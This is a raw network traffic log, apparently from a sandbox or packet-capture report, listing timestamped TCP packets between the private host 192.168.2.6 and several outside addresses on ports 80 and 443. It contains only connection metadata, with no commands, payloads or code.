Nov 26, 2024 01:41:41.619213104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.619255066 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.620193005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.620248079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.620282888 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.620327950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.621372938 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.621387959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.621434927 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.622436047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.622519970 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.622556925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.622596979 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.623461962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.623508930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.623552084 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.623594046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.624548912 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.624614000 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.624639034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.624676943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.625638962 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.625715017 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.625755072 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.626717091 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.626734972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.626781940 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.626802921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.627783060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.627799034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.627854109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.627882957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.628918886 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.629002094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.629048109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.629975080 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.630007029 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.630053043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.630086899 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.631053925 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.631094933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.631123066 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.631186008 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.631939888 CET	443	49817	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.632124901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.632138014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.632172108 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.632196903 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.632971048 CET	49817	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.633006096 CET	443	49817	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.633518934 CET	49817	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.633528948 CET	443	49817	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.641307116 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.641318083 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.641361952 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.641388893 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.641413927 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.641428947 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.641455889 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.678064108 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.678133011 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.678154945 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.678172112 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.678193092 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.678229094 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.695969105 CET	443	49872	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:41.696048021 CET	443	49872	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:41.696146011 CET	49872	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:41.696630955 CET	49872	443	192.168.2.6	172.64.41.3
Nov 26, 2024 01:41:41.696645975 CET	443	49872	172.64.41.3	192.168.2.6
Nov 26, 2024 01:41:41.712035894 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.712044954 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.712080956 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.712095976 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.712106943 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.712141037 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.712194920 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.720369101 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.720436096 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.720448017 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.720463991 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.720604897 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.721355915 CET	49866	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.721370935 CET	443	49866	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.733886957 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.751569986 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.751591921 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.752094030 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.752099037 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.773937941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.773957014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.774068117 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.774230957 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.774276018 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.774420977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.774467945 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.775362968 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.775427103 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.775495052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.775538921 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.776407003 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.776568890 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.776635885 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.777461052 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.777523041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.777626038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.777770042 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.778569937 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.778626919 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.778678894 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.779145956 CET	443	49868	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.779201984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.779216051 CET	443	49868	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.779264927 CET	49868	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.779652119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.779694080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.779762030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.779799938 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.780739069 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.780841112 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.780889988 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.781881094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.781940937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.781994104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.782035112 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.782939911 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.783003092 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.783050060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.783091068 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.784049034 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.784101963 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.784104109 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.784147978 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.785135031 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.785279989 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.785332918 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.786181927 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.786231041 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.786331892 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.786380053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.787328959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.787378073 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.787421942 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.788362980 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.788414955 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.788475037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.788521051 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.789484978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.789499998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.789531946 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.789556026 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.790563107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.790589094 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.790647984 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.791687965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.791737080 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.791779041 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.791821957 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.792779922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.792814970 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.792876005 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.793838978 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.793898106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.793978930 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.794022083 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.794899940 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.794976950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.795047998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.795094013 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.795258045 CET	443	49873	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.796036005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.796078920 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.796114922 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.796152115 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.797095060 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.797152996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.797288895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.797363043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.798161030 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.798207045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.798242092 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.798341990 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.799237967 CET	49868	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.799257040 CET	443	49868	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.799268007 CET	49868	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.799273968 CET	443	49868	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.799288988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.799341917 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.799380064 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.799420118 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.800333023 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.800384045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.800451040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.800492048 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.801460028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.801507950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.801558971 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.801603079 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.801759958 CET	49873	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.801774979 CET	443	49873	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.802160025 CET	49873	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.802165031 CET	443	49873	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.802561998 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.802619934 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.802649021 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.802700996 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.803642988 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.803704977 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.803752899 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.803791046 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.804733038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.804792881 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.804831028 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.804871082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.805788040 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.805844069 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.805938005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.805977106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.806013107 CET	49875	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.806040049 CET	443	49875	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.806884050 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.806981087 CET	49875	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.807008982 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.807039976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.807054043 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.807178020 CET	49875	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.807190895 CET	443	49875	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.807992935 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.808060884 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.808109045 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.809099913 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.809161901 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.809212923 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.810143948 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.810204983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.810280085 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.810328007 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.811228037 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.811359882 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.811361074 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.811404943 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.812319994 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.812382936 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.812436104 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.812472105 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.813421965 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.813508034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.813535929 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.813579082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.814501047 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.814635038 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.814685106 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.815629959 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.815685034 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.815736055 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.815781116 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.816679955 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.816735983 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.816836119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.816926003 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.817749977 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.817800999 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.817881107 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.817925930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.818866014 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.818913937 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.818964005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.819119930 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.819996119 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.820048094 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.820069075 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.820108891 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.821043015 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.821084976 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.821171045 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.821212053 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.822134972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.822221994 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.822269917 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.822309971 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.823344946 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.823360920 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.823394060 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.823409081 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.824378967 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.824394941 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.824440002 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.825366020 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.825412035 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.826349974 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.826421022 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.826484919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.826527119 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.826594114 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.826636076 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.827702999 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.827718973 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.827759981 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.827799082 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.828661919 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.828707933 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.828749895 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.828795910 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.829758883 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.829808950 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.829859972 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.829900980 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.830832005 CET	80	49813	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:41.830914974 CET	49813	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:41.833827019 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.833853006 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.833898067 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.833913088 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.833940983 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.833951950 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.860193968 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.860220909 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.860275984 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.860302925 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.860318899 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.860344887 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.877010107 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.877032995 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.877084970 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.877110958 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.877123117 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.877151012 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.897296906 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.897330999 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.897371054 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.897382975 CET	443	49867	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.897397995 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.897646904 CET	49867	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.914669991 CET	443	49871	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.914741039 CET	443	49871	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.914892912 CET	49871	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.915165901 CET	49871	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.915189028 CET	443	49871	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:41.915201902 CET	49871	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:41.915208101 CET	443	49871	13.107.246.63	192.168.2.6
